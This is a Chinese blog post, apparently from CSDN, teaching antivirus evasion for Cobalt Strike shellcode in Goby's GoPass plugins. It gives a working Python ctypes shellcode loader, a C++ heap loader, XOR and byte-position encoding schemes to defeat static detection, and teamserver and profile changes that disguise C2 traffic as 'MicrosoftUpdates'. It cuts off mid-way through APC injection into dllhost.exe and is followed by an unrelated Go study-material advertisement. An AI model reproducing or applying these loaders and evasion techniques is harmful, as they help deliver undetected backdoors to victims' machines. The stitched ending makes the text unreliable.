GoPass系列免杀基础(一)_go语言免杀,2024年最新Golang虚拟机原理深入解析

在 CS 中,attacks-packages-payload generator 选择监听端口,可以生成 C 文件。

在这里插入图片描述
在这里插入图片描述

在这个文件中保存着 CS 的 Shellcode。Shellcode 为可执行的 16 进制机器码,因为经常让攻击者获得 shell 而得此名字。

在这里插入图片描述

这个生成出来的 Shellcode 是分离式的。它的功能为:远程请求 CS 服务器,反射加载执行返回的 beacon.dll 后门模块。分离式的优点就是 Shellcode 体积小,编译出来的文件小。缺点就是开辟空间的函数等等敏感函数固定,写死在了这个 Shellcode 中,容易被杀软 hook 识别。

0×03 什么是加载器

Shellcode 是可执行的 16 进制机器码,需要执行的话它就需要用到 Shellcode 加载器。

Shellcode 加载器的主要功能:开辟内存空间–将 Shellcode 放入内存空间–指针指向 Shellcode 地址执行。

以 Goby 的 GoPassPython 插件来说:

这个是用 Python 语言作为 Shellcode 的加载器执行 Shellcode 的,它的步骤:开辟空间–写入内存空间–然后执行。可以尝试放入自己的 Shellcode 执行一下。

import ctypes
shellcode = b"\xfc\xfc" #你的shellcode
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleob ject(ctypes.c_int(handle),ctypes.c_int(-1))

0×04 如何加密解密

CS 生成的 Shellcode 可以获得目标主机的 shell,然而这个 Shellcode 的很多函数都是固定的,存在 CS 自己的特征,杀软可以记录这个特征,在没有执行前就轻易识别然后告警,这也就是静态识别。

简单来说,假设有毒的苹果是黑的,没毒的苹果是红的这个命题成立。

现在我给你黑苹果,你看一眼就知道有毒。如何让这个苹果洗白转为红苹果,让它合格的让你分辨不出来,这个就是最重要的过程,也是免杀的最重要过程,这个过程就是对 Shellcode 的加密解密。

还是以 Goby 的 GoPassPython 插件来说:

GoPassPython 是使用 Python 语言编写的免杀文件,通过 pyinstaller 进行将 py 文件打包成 exe。自身需要通过其他软件进行打包,导致了 pyinstaller 打包后的特征特别明显,所以后面插件都放弃使用该语言进行免杀。

因为 Python 自身为解释型语言,Python 中存在 exec 函数,能够执行储存在字符串或文件中的 Python 语句,exec() 能够动态地执行复杂的 Python 代码,所以免杀很简单。

首先将 Shellcode 放入上面的加载器后,一同连加载器整体先进行 ba se64 编码。

在这里插入图片描述

现在无法看出他是 Shellcode 加载器了,除非你会肉眼 ba se64 解密。但是软件面对的是机器,所以 ba se64 解密对杀软而言,并不难,简单的 ba se64 并不能很好的免杀,所以需要加入小众的加密算法。

可以加入自定义的一个加密函数,将 ba se64 编码后的字符串再次自加密。

def encrypt(key, s):b = bytearray(s.encode(“utf-8”))n = len(b)c = bytearray(n * 2)j = 0for i in range(0, n):b1 = b[i]b2 = b1 ^ key # b1 = b2^ keyc1 = b2 % 16c2 = b2 // 16 # b2 = c2*16 + c1c1 = c1 + 65c2 = c2 + 65 #c[j] = c1c[j + 1] = c2j = j + 2return c.decode(“utf-8”)

其中变量 key 是随机的,也就是每次加密后都不一样,加密后的字符串和最原始的比较:

在这里插入图片描述

可以明显看见,加密后无规律可寻,那么杀软的静态就无法识别出这是个有毒的文件。

再在执行之前解密就行,杀软没有 key 也没办法知道怎么解密,所以过杀软轻轻松松。最后,因为 Python 是解释型弱类型语言,所以可以使用 exec() 函数进行内存运行这个加解密并执行 Shellcode,整体免杀过程就是这样,非常简单。

在这里插入图片描述

0×05 GoPassC 天青

5.1 Shellcode

还是 CS 中的 attacks-packages-payload generator 生成的分离式 Shellcode

5.2 加载器

这是一个以 C++ 为语言的加载器,C++ 有很多 Shellcode 加载器,远程注入等等多种多样的,有些被杀软特征记录,那么就需要换一个不被记录的。

在这里插入图片描述

GoPassC 天青选择的加载器还是那三步走,开辟空间-写入空间-执行 Shellcode:

HANDLE mimi = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);void* jiamijiami = HeapAlloc(mimi, 0, 0x100000);RtlMoveMemory(jiamijiami, b, sizeof(b));CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)jiamijiami, NULL, 0, 0);

5.3 加密解密

Shellcode 一般都是这样写入 cpp 文件中的

char shellcode[] = “\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc”;
它是 16 进制的机器码,那么 char 类型还可以将 Shellcode 转为 ascii 码,C 语言也是会识别,这里可以用 Python 的 ord 函数,简单方便。在这里插入图片描述

在这里插入图片描述
这有什么用呢?这样就可以在数字基础上进行加法减法运算,比如 a 的为 97,那么在 a 的基础上 97+1=98 识别后就变为了 b,而不是原来的 a,这样可以进行绕过。但是该加密解密太过简单,需要换个复杂的加密解密。

由上可得 ascii 可以被识别,所以可以全部转换为 0-255 的数字,那么他们肯定会有重复的,一段 Shellcode 里面肯定不止一个 \xfc 这个十六进制。在这里插入图片描述

而且每个十六进制占一位,并且自己有位置编号,可以将他们提出来总结,并且 ascii 编码(\xfc为252 \xbb为187 \xaa为170),这样我们有 ascii 码,有数量,有位置,就可以还原回去。

ASCII数量位置
25230,3,4
18711
17012

这样杀软根本无法识别和解密,用多维数组的结构进行存储这样的数据再合适不过了。

int a[][100] = {
{252,3,0,3,4},
{187,1,1},
{170,1,2}}

最后用 for 循环去读取赋值到一个 char 数组里就行了:

Char b[1500]=””;
int width = sizeof(a) / (sizeof(a[0])); //获取a数组有多少行
for (int i = 0; i < width; i++) {
for (int j = 0; j < a[i][1]; j++) {
b[a[i][j + 2]] = a[i][0];
}
}

测试时发现某全家桶是不会进行拦截的,但是某软还是会进行拦截。

前提 Shellcode 已测试过单独运行不被拦截,那么现在需要排查的这个加密是不是太过简单,而且这样需要考虑到,大批量用户使用时,很多十六进制都是固定的,那么也会被特征标记,如果全家桶拦了,相信你也可以动手改一改,你可以将 ascii 码加上一个数如 252+200=457,载入时,再减去。再比如不用第二位存数量,改为第三位,第四位,或者加上一个数,载入时再减去。再比如位置那里也可以批量加一个数字,载入时再减去等等。

既然某软拦截了,就必须找到为什么拦截。我在代码中加入一个判断,如下:

Int a=123;
if(a==1){
Shellcode加载执行代码
}

发现不报毒,这里只提示到这,多思考为什么,你就能一行代码免杀某软(GoPassC 天青中没有进行绕过)。

0×06 GoPassC 昆仑

6.1 插件需求

在 HVV 期间遇到某软等多个杀软拦截,且内网需要中转上线,所以必须用到不分阶段的 Shellcode 进行免杀。

该插件的目标:

  1. 支持对不分阶段 beacon.bin 进行免杀,且支持分阶段 payload.c 文件进行免杀。
  2. 编译环境配置一键化
  3. 生成过程一键化
  4. 免杀范围广
  5. 加入反沙盒延长免杀时效

6.2 CS端口特征更改

在安装 CS 的过程中,CS 的服务端 teamserver 文件中的存在着端口信息。在这里插入图片描述

可以将端口 50050 改为其他的端口。在这里插入图片描述

6.3 流量加密及内存部分特征隐藏

6.3.1 store文件更改

在 CS 服务端目录下,存在默认的 cobaltstrike.store 文件,需要重新生成。在这里插入图片描述

通过 keytool -h 可以看到相关的相关的生成命令,具体的自行查阅相关文章进行学习。在这里插入图片描述

keytool -genkey -alias bypass -keyalg RSA -validity 36500 -keystore bypass.store

自己设置相关密码,根据提示设置相关信息即可生成新的文件。在这里插入图片描述

6.3.2 profile文件流量特征更改

具体更改请查阅其他文章进行学习,本文只指出重点。必须填入刚才生成的 store 文件名称和密码,还有相关的配置信息。

https-certificate {
set password “MicrosoftUpdates”;
set keystore “MicrosoftUpdates.store”;
}
https-certificate {
set CN
“US”;
set O
“MicrosoftUpdates”;
set C
“en”;
set L
“US”;
set OU
“MicrosoftUpdates”;
set ST
“US”;
set validity “365”;
}

然后对 get 或 post 请求字符串进行加密和更改前几个字节和后几个字节信息,避免找到相关特征。在这里插入图片描述

6.3.3 profile文件内存特征更改

通过修改 stage 修改部分载入内存的字符特征,修改前几个字符,和替换 ReflectiveLoader,beacon 关键字,和替换 beacon.dll 的名字,在睡眠时间对内存进行混淆,抹去存放在内存中的反射 DLL 等等等等。由此可见要好好利用 stage 标签,它是非常强大的。在这里插入图片描述

6.4 新的shellcode加载器

基础版:

APC 注入的原理是利用当线程被唤醒时 APC 中的注册函数会被执行的机制,并以此去执行我们的 DLL 加载代码,进而完成 DLL 注入的目的,其具体流程如下:

1.当 EXE 里某个线程执行到 SleepEx() 或者 WaitForSingleob jectEx() 时,系统就会产生一个软中断。

2.当线程再次被唤醒时,此线程会首先执行 APC 队列中的被注册的函数。

3.利用 QueueUserAPC() 这个 API 可以在软中断时向线程的 APC 队列插入一个函数指针,如果我们插入的是 Loadlibrary() 执行函数的话,就能达到注入 DLL 的目的。

UINT shellcodeSize = sizeof(a);
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA(“C:\Windows\System32\dllhost.exe”, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数Go语言工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则几千的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年Go语言全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上Golang知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加V获取:vip1024b (备注Go)
img

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

968977800)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上Golang知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加V获取:vip1024b (备注Go)
[外链图片转存中…(img-2MEbbDPs-1712968977801)]

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 14
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值